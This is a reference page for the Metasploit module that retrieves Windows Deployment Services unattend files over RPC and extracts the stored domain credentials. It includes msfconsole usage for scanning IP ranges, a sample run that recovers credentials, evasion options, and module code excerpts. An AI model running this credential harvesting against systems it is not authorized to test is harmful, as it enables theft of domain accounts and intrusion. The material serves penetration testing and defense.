Microsoft Windows Deployment Services Unattend Retrieval - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/dcerpc/windows_deployment_services metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft Windows Deployment Services Unattend Retrieval
Module: auxiliary/scanner/dcerpc/windows_deployment_services
Source code: modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 5040
List of CVEs: -

This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/dcerpc/windows_deployment_services
msf auxiliary(windows_deployment_services) > show options
    ... show and set options ...
msf auxiliary(windows_deployment_services) > set RHOSTS ip-range
msf auxiliary(windows_deployment_services) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(windows_deployment_services) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(windows_deployment_services) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(windows_deployment_services) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.

More information can be found on the Rapid7 Vulnerability & Exploit Database page and pull request PR #1420.

Verification Steps


  1. Start msfconsole
  2. Do: use modules/auxiliary/scanner/dcerpc/windows_deployment_services
  3. set RHOST [ip]
  4. Do: run

Scenarios


A run on Windows Server 2008 R2 X64

  msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
  msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
  msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
  msf auxiliary(scanner/dcerpc/windows_deployment_services) > run

    [*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
    [+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
    [*] Sending X64 Client Unattend request ...
    [*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
    [+] Retrieved wds credentials for X64
    [*] Sending X86 Client Unattend request ...
    [*] Sending IA64 Client Unattend request ...

      Windows Deployment Services
      ===========================

      Architecture  Type  Domain        Username  Password
      ------------  ----  ------        --------  --------
      X64           wds   Fabrikam.com  username  my_password

    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/dcerpc/windows_deployment_services auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/dcerpc/windows_deployment_services

msf6 auxiliary(scanner/dcerpc/windows_deployment_services) > show info

       Name: Microsoft Windows Deployment Services Unattend Retrieval
     Module: auxiliary/scanner/dcerpc/windows_deployment_services
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Ben Campbell <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    5040             yes       The target port (TCP)
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module retrieves the client unattend file from Windows 
  Deployment Services RPC service and parses out the stored 
  credentials. Tested against Windows 2008 R2 x64 and Windows 2003 
  x86.

References:
  MSDN (http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx)
  http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html

Module Options


This is a complete list of options available in the scanner/dcerpc/windows_deployment_services auxiliary module:

msf6 auxiliary(scanner/dcerpc/windows_deployment_services) > show options

Module options (auxiliary/scanner/dcerpc/windows_deployment_services):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    5040             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/dcerpc/windows_deployment_services auxiliary module:

msf6 auxiliary(scanner/dcerpc/windows_deployment_services) > show advanced

Module advanced options (auxiliary/scanner/dcerpc/windows_deployment_services):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout  10               yes       The number of seconds to wait for DCERPC responses
   ENUM_ARM             false            yes       Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/dcerpc/windows_deployment_services module can do:

msf6 auxiliary(scanner/dcerpc/windows_deployment_services) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/dcerpc/windows_deployment_services auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/dcerpc/windows_deployment_services) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)


Here is a relevant code snippet related to the "Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)" error message:

39:	
40:	    deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')
41:	
42:	    register_advanced_options(
43:	      [
44:	        OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
45:	      ])
46:	  end
47:	
48:	  def run_host(ip)
49:	    begin

<IP>:<RPORT> Connection Error: <E>


Here is a relevant code snippet related to the "<IP>:<RPORT> Connection Error: <E>" error message:

49:	    begin
50:	      query_host(ip)
51:	    rescue ::Interrupt
52:	      raise $!
53:	    rescue ::Rex::ConnectionError => e
54:	      print_error("#{ip}:#{rport} Connection Error: #{e}")
55:	    ensure
56:	      # Ensure socket is pulled down afterwards
57:	      self.dcerpc.socket.close rescue nil
58:	      self.dcerpc = nil
59:	      self.handle = nil

<RHOST> DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.


Here is a relevant code snippet related to the "<RHOST> DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation." error message:

102:	
103:	      begin
104:	        result = request_client_unattend(architecture)
105:	      rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
106:	        vprint_error(e.to_s)
107:	        print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
108:	        return nil
109:	      end
110:	
111:	      unless result.nil?
112:	        loot_unattend(architecture[0], result)

No Unattend files received, service is unlikely to be configured for completely unattended installation.


Here is a relevant code snippet related to the "No Unattend files received, service is unlikely to be configured for completely unattended installation." error message:

130:	    if creds_found
131:	      print_line
132:	      table.print
133:	      print_line
134:	    else
135:	      print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
136:	    end
137:	  end
138:	
139:	  def request_client_unattend(architecture)
140:	    # Construct WDS Control Protocol Message

No Unattend received for <ARCHITECTURE:0> architecture


Here is a relevant code snippet related to the "No Unattend received for <ARCHITECTURE:0> architecture" error message:

167:	
168:	      # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
169:	      op_error_code = data.unpack('v*')[19]
170:	      if op_error_code == 0
171:	        if data.length < 277
172:	          vprint_error("No Unattend received for #{architecture[0]} architecture")
173:	          return nil
174:	        else
175:	          vprint_status("Received #{architecture[0]} unattend file ...")
176:	          return extract_unattend(data)
177:	        end

Error code received for <ARCHITECTURE:0>: <OP_ERROR_CODE>


Here is a relevant code snippet related to the "Error code received for <ARCHITECTURE:0>: <OP_ERROR_CODE>" error message:

174:	        else
175:	          vprint_status("Received #{architecture[0]} unattend file ...")
176:	          return extract_unattend(data)
177:	        end
178:	      else
179:	        vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
180:	        return nil
181:	      end
182:	    end
183:	  end
184:	

Incomplete transmission or malformed unattend file.


Here is a relevant code snippet related to the "Incomplete transmission or malformed unattend file." error message:

187:	    finish = data.index('</unattend>')
188:	    if start and finish
189:	      finish += 10
190:	      return data[start..finish]
191:	    else
192:	      print_error("Incomplete transmission or malformed unattend file.")
193:	      return nil
194:	    end
195:	  end
196:	
197:	  def parse_client_unattend(data)

Invalid XML format


Here is a relevant code snippet related to the "Invalid XML format" error message:

197:	  def parse_client_unattend(data)
198:	    begin
199:	      xml = REXML::Document.new(data)
200:	      return Rex::Parser::Unattend.parse(xml).flatten
201:	    rescue REXML::ParseException => e
202:	      print_error("Invalid XML format")
203:	      vprint_line(e.message)
204:	      return nil
205:	     end
206:	  end
207:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ben Campbell

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.